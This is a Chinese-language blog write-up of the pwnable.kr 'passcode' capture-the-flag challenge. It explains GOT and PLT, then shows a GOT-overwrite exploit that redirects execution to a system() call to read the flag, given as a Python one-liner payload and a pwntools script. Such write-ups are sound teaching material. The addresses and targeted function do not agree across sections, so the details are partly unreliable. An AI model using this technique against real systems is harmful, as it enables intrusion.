盒子
盒子
文章目录
  1. Pwnable - Passcode 详解
    1. GOT覆写技术:
      1. 测试偏移量:
      2. 覆写GOT表:
      3. 构造PalyLoad:

Pwnable - Passcode

Pwnable - Passcode 详解

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

原理:简单的GOT溢出攻击,scanf没有加上’&’

知识点:PLT,GOT表的了解

GOT表:

概念:每一个外部定义的符号在全局偏移表(Global offset Table)中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。

作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器(rtld)找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用rtld


PLT表:

过程连接表(Procedure Linkage Table),一个PLT条目对应一个GOT条目

main()函数开始,会请求plt中这个函数的对应GOT地址,如果第一次调用那么GOT会重定位到plt,并向栈中压入一个偏移,程序的执行回到_init()函数,rtld得以调用就可以定位printf的符号地址,第二次运行程序再次调用这个函数时程序跳入plt,对应的GOT入口点就是真实的函数入口地址。

动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.


GOT覆写技术:

原理:由于GOT表是可写的,把其中的函数地址覆盖为我们shellcode地址,在程序进行调用这个函数时就会执行shellcode。

上述来源于:http://jing0107.lofter.com/post/1cbc869f_8b3d8a5


简单来说,就是每个函数需要调用的时候先是从PLT表之中去寻找该函数入口地址的指针,调用一个函数,控制权将由PLT传递。然后从GOT表中去寻找该函数的地址,GOT表中有相应各个函数的地址,由于PLT表是只读的,但是GOT表是可读的

PLT —> 函数地址指针 ,GOT —> 函数地址。

###题目源码:

/#include <stdio.h>

/#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

​ printf(“enter passcode1 : “);
scanf(“%d”, passcode1);
fflush(stdin);

​ // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf(“enter passcode2 : “);
scanf(“%d”, passcode2);

​ printf(“checking…\n”);
if(passcode1==338150 && passcode2==13371337){
printf(“Login OK!\n”);
system(“/bin/cat flag”);
}
else{
printf(“Login Failed!\n”);
exit(0);
}
}

void welcome(){
char name[100];
printf(“enter you name : “);
scanf(“%100s”, name);
printf(“Welcome %s!\n”, name);
}

int main(){
printf(“Toddler’s Secure Login System 1.0 beta.\n”);

​ welcome();
login();

​ // something after login…
printf(“Now I can safely trust you that you have credential :)\n”);
return 0;
}

仔细查看之后发现main函数中没有什么可以利用的,关键点在于login()函数中的scanf中,没有加’&’取地址符号。

如果scanf没加&的话,程序会默认从栈中读取4个字节的数据当做scanf取的地址。

在 passcode1 前没有加取地址符号 &,而由于 passcode 1没有初始化,导致这个输入操作会将数据写入 栈中 passcode1 未被初始化时存放的数据指向的地址。

所以我们可以利用这里来进行GOT表覆写攻击。

测试偏移量:

方法1: 查看name地址和passcode1地址,两地址相减(此题中welcome函数和login函数共用同一个ebp)

方法2:welcome函数调用时先输入100个’a’,再查看执行到passcode1的scanf前中断查看栈中的情况,可以看出,welcome 函数中输入的最后 4 字节占据了此时局部变量 passcode1 在栈中的位置。所以在执行 scanf("%d", passcode1); 时会像这里指向的不存在的 0x61616161 处写内容,故而报错。

造成这个偏移量的原因有两点:

  • 在 welcome 函数返回后这里进行了堆栈平衡,然而没有清空栈中的内容,login 函数和 welcome 函数又相当于是共享了同一个栈区域;
  • passcode1 没有初始化,导致passcode1 在栈中单元里存放的仍是之前栈帧遗留下来的内容。

覆写GOT表:

这里可以选用scanf函数之后的各个函数来进行覆写,我们选用printf。

1.查找system指令的地址

passcode@ubuntu:~$ objdump -d passcode

1

可以看到system函数地址为0x080485ea。

2.查看printf在GOT表中的地址

  1. readelf -r target_elf
  2. objdump -R target_elf

得到printf 在 GOT 中地址为 0x0804a000。

构造PalyLoad:

因为scanf的时候这里用的是%d所以要把system的地址转换成十进制

所以:

payload = ‘a’*96 +‘\x00\xa0\x04\x08’+’\n’+’134514147\n’

1.直接Python运行(Python大法好)

python -c ‘print “a”*96 + “\x00\xa0\x04\x08” + “134514147\n”‘ | ./passcode

2.编写exp

from pwn import *

target = process(‘/home/passcode/passcode’)

fflush_got = 0x0804a004

system_addr = 0x80485e3

payload = “A” * 96 + p32(fflush_got) + str(system_addr)

target.send(payload)

target.interactive()

3.结果

2

4.原理流程

welcome 中 scanf 函数被调用 –> 输入构造好的字符串,其中最后 4 字节为要覆写的保存有目标函数指令地址的内存单元在 GOT 中的地址 –> login 中的 scanf函数被调用 –> 覆写该位置,即目标函数指令地址被改写,执行该函数时会去到改写后的位置执行。

支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫